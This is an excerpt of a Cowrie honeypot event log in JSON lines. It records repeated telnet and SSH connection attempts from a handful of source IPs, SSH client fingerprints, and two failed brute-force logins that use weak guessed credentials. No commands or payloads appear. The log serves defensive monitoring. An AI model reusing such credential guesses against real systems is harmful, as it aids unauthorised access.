{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":40306,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5d92c40338d","protocol":"telnet","message":"New connection: 146.185.21.169:40306 (10.17.0.5:23) [session: e5d92c40338d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:59.925670Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":41314,"dst_ip":"10.17.0.5","dst_port":23,"session":"78b7f73eb31d","protocol":"telnet","message":"New connection: 94.46.12.68:41314 (10.17.0.5:23) [session: 78b7f73eb31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:38:59.984364Z"}
{"eventid":"cowrie.session.closed","duration":31.051495790481567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:00.123744Z","src_ip":"146.185.21.169","session":"e5b3073fb633","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":43842,"dst_ip":"10.17.0.5","dst_port":23,"session":"b28e8fff7bb2","protocol":"telnet","message":"New connection: 94.46.12.68:43842 (10.17.0.5:23) [session: b28e8fff7bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:01.244760Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":45246,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c1025f4faa","protocol":"telnet","message":"New connection: 146.185.21.169:45246 (10.17.0.5:23) [session: 58c1025f4faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:02.279430Z"}
{"eventid":"cowrie.session.closed","duration":31.36008930206299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:02.636490Z","src_ip":"103.82.231.165","session":"0349ad815bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b7c8593dc8","protocol":"telnet","message":"New connection: 146.185.21.169:43186 (10.17.0.5:23) [session: c0b7c8593dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:02.865498Z"}
{"eventid":"cowrie.session.closed","duration":31.37275719642639,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:03.972827Z","src_ip":"146.185.21.169","session":"d27216b3e973","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46750,"dst_ip":"10.17.0.5","dst_port":23,"session":"26c0d679adea","protocol":"telnet","message":"New connection: 146.185.21.169:46750 (10.17.0.5:23) [session: 26c0d679adea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:05.107830Z"}
{"eventid":"cowrie.session.closed","duration":30.647754192352295,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:05.221574Z","src_ip":"62.72.47.216","session":"d519e6592aee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"df3028b4a2e9","protocol":"telnet","message":"New connection: 146.185.21.169:47494 (10.17.0.5:23) [session: df3028b4a2e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:05.574623Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":44926,"dst_ip":"10.17.0.5","dst_port":23,"session":"89534bbf47c2","protocol":"telnet","message":"New connection: 146.185.21.169:44926 (10.17.0.5:23) [session: 89534bbf47c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:06.003864Z"}
{"eventid":"cowrie.session.closed","duration":30.545939683914185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:06.180608Z","src_ip":"62.72.47.216","session":"51be0dd23180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50726,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f2f2b5c50a4","protocol":"telnet","message":"New connection: 146.185.21.169:50726 (10.17.0.5:23) [session: 9f2f2b5c50a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:06.510589Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":35894,"dst_ip":"10.17.0.5","dst_port":23,"session":"e114b66f88c5","protocol":"telnet","message":"New connection: 62.72.47.216:35894 (10.17.0.5:23) [session: e114b66f88c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:06.898473Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55998,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d3a63395107","protocol":"telnet","message":"New connection: 94.46.12.68:55998 (10.17.0.5:23) [session: 6d3a63395107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:07.369658Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":57624,"dst_ip":"10.17.0.5","dst_port":23,"session":"20516598f270","protocol":"telnet","message":"New connection: 94.46.12.68:57624 (10.17.0.5:23) [session: 20516598f270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:08.084870Z"}
{"eventid":"cowrie.session.closed","duration":30.57974863052368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:10.041427Z","src_ip":"146.185.21.169","session":"f1195c09b218","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"131.100.130.200","src_port":60229,"dst_ip":"159.203.135.109","dst_port":23,"session":"569d9dd198f4","protocol":"telnet","message":"New connection: 131.100.130.200:60229 (159.203.135.109:23) [session: 569d9dd198f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:10.829576Z"}
{"eventid":"cowrie.session.closed","duration":30.39423704147339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:11.129393Z","src_ip":"62.72.47.216","session":"648f9e4545ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":36078,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f223ddfb284","protocol":"telnet","message":"New connection: 94.46.12.68:36078 (10.17.0.5:23) [session: 5f223ddfb284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:11.340951Z"}
{"eventid":"cowrie.session.closed","duration":30.82053852081299,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:11.494890Z","src_ip":"62.72.47.216","session":"642e4ba1d1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":57566,"dst_ip":"159.203.135.109","dst_port":22,"session":"62d8842d2471","protocol":"ssh","message":"New connection: 72.79.42.117:57566 (159.203.135.109:22) [session: 62d8842d2471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:12.249298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:12.301588Z","src_ip":"72.79.42.117","session":"62d8842d2471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:12.307057Z","src_ip":"72.79.42.117","session":"62d8842d2471","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver","password":"123456","message":"login attempt [gmodserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:12.351502Z","src_ip":"72.79.42.117","session":"62d8842d2471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":58582,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea5e8c39be7a","protocol":"telnet","message":"New connection: 146.185.21.169:58582 (10.17.0.5:23) [session: ea5e8c39be7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:12.646733Z"}
{"eventid":"cowrie.session.closed","duration":30.495553731918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:13.153238Z","src_ip":"62.72.47.216","session":"c2e3397c619b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:13.362912Z","src_ip":"72.79.42.117","session":"62d8842d2471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":40538,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fb6ff185862","protocol":"telnet","message":"New connection: 103.115.172.252:40538 (10.17.0.5:23) [session: 6fb6ff185862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:13.440508Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":35014,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5e9b25763c","protocol":"telnet","message":"New connection: 146.185.21.169:35014 (10.17.0.5:23) [session: dc5e9b25763c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:15.718004Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":58752,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdcbf1c17a1b","protocol":"telnet","message":"New connection: 62.72.47.216:58752 (10.17.0.5:23) [session: bdcbf1c17a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:18.087978Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":50268,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe8fad08487","protocol":"telnet","message":"New connection: 94.46.12.68:50268 (10.17.0.5:23) [session: 1fe8fad08487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:18.267355Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":50832,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fee7ef9a257","protocol":"telnet","message":"New connection: 94.46.12.68:50832 (10.17.0.5:23) [session: 5fee7ef9a257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:18.654533Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":60532,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9641ad2454","protocol":"telnet","message":"New connection: 62.72.47.216:60532 (10.17.0.5:23) [session: bb9641ad2454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:18.847469Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"0952341414a2","protocol":"telnet","message":"New connection: 146.185.21.169:39740 (10.17.0.5:23) [session: 0952341414a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:19.089329Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":52748,"dst_ip":"10.17.0.5","dst_port":23,"session":"594637dfb3fe","protocol":"telnet","message":"New connection: 94.46.12.68:52748 (10.17.0.5:23) [session: 594637dfb3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:19.574375Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":37238,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c161dad1946","protocol":"telnet","message":"New connection: 62.72.47.216:37238 (10.17.0.5:23) [session: 5c161dad1946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:21.551611Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":37876,"dst_ip":"10.17.0.5","dst_port":23,"session":"1484285d53f6","protocol":"telnet","message":"New connection: 62.72.47.216:37876 (10.17.0.5:23) [session: 1484285d53f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:21.821359Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":41148,"dst_ip":"10.17.0.5","dst_port":23,"session":"271405139fcb","protocol":"telnet","message":"New connection: 62.72.47.216:41148 (10.17.0.5:23) [session: 271405139fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:23.338336Z"}
{"eventid":"cowrie.session.closed","duration":12.72937560081482,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:23.558833Z","src_ip":"131.100.130.200","session":"569d9dd198f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34782,"dst_ip":"10.17.0.5","dst_port":23,"session":"e95ff112b455","protocol":"telnet","message":"New connection: 94.46.12.68:34782 (10.17.0.5:23) [session: e95ff112b455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:24.069335Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":46504,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5cfbef36c63","protocol":"telnet","message":"New connection: 146.185.21.169:46504 (10.17.0.5:23) [session: b5cfbef36c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:24.168970Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":48264,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e7fddf943f1","protocol":"telnet","message":"New connection: 146.185.21.169:48264 (10.17.0.5:23) [session: 3e7fddf943f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:24.658459Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":45850,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a76854d730f","protocol":"telnet","message":"New connection: 146.185.21.169:45850 (10.17.0.5:23) [session: 9a76854d730f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:25.694690Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":50818,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd063993680a","protocol":"telnet","message":"New connection: 146.185.21.169:50818 (10.17.0.5:23) [session: bd063993680a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:27.991664Z"}
{"eventid":"cowrie.session.closed","duration":30.324886798858643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:28.035618Z","src_ip":"146.185.21.169","session":"f94fa4885c87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156670093536377,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:28.130635Z","src_ip":"146.185.21.169","session":"933da591cbdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":54538,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa155b7503d4","protocol":"telnet","message":"New connection: 146.185.21.169:54538 (10.17.0.5:23) [session: fa155b7503d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:30.731428Z"}
{"eventid":"cowrie.session.closed","duration":30.977773427963257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:30.903333Z","src_ip":"146.185.21.169","session":"e5d92c40338d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":53862,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d5f9d02b46","protocol":"telnet","message":"New connection: 146.185.21.169:53862 (10.17.0.5:23) [session: e7d5f9d02b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:30.967587Z"}
{"eventid":"cowrie.session.closed","duration":31.216712713241577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:31.200958Z","src_ip":"94.46.12.68","session":"78b7f73eb31d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":49706,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea4a723ea660","protocol":"telnet","message":"New connection: 146.185.21.169:49706 (10.17.0.5:23) [session: ea4a723ea660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:32.006832Z"}
{"eventid":"cowrie.session.closed","duration":31.007050275802612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:32.250466Z","src_ip":"94.46.12.68","session":"b28e8fff7bb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.180599451065063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:33.045972Z","src_ip":"146.185.21.169","session":"c0b7c8593dc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.917521238327026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:33.196748Z","src_ip":"146.185.21.169","session":"58c1025f4faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95403814315796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:36.061732Z","src_ip":"146.185.21.169","session":"26c0d679adea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507789850234985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:36.082275Z","src_ip":"146.185.21.169","session":"df3028b4a2e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60159993171692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:37.112053Z","src_ip":"146.185.21.169","session":"9f2f2b5c50a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":59406,"dst_ip":"10.17.0.5","dst_port":23,"session":"abf97892f0a2","protocol":"telnet","message":"New connection: 146.185.21.169:59406 (10.17.0.5:23) [session: abf97892f0a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:37.635372Z"}
{"eventid":"cowrie.session.closed","duration":31.39105772972107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:38.289366Z","src_ip":"62.72.47.216","session":"e114b66f88c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156800985336304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:38.526354Z","src_ip":"94.46.12.68","session":"6d3a63395107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2571759223938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:39.341944Z","src_ip":"94.46.12.68","session":"20516598f270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.65.191.218","src_port":30142,"dst_ip":"10.17.0.5","dst_port":22,"session":"c112d4c3a6da","protocol":"ssh","message":"New connection: 181.65.191.218:30142 (10.17.0.5:22) [session: c112d4c3a6da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:41.344915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:41.351698Z","src_ip":"181.65.191.218","session":"c112d4c3a6da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:41.465724Z","src_ip":"181.65.191.218","session":"c112d4c3a6da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1z2x3c4","message":"login attempt [ubuntu/1z2x3c4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:41.948963Z","src_ip":"181.65.191.218","session":"c112d4c3a6da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95144295692444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:42.292243Z","src_ip":"94.46.12.68","session":"5f223ddfb284","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51008,"dst_ip":"10.17.0.5","dst_port":23,"session":"93b64d97ba31","protocol":"telnet","message":"New connection: 146.185.21.169:51008 (10.17.0.5:23) [session: 93b64d97ba31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:42.471579Z"}
{"eventid":"cowrie.session.closed","duration":36.86824417114258,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:42.871985Z","src_ip":"146.185.21.169","session":"89534bbf47c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4028000831604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:39:43.049400Z","src_ip":"146.185.21.169","session":"ea5e8c39be7a","protocol":"telnet"}
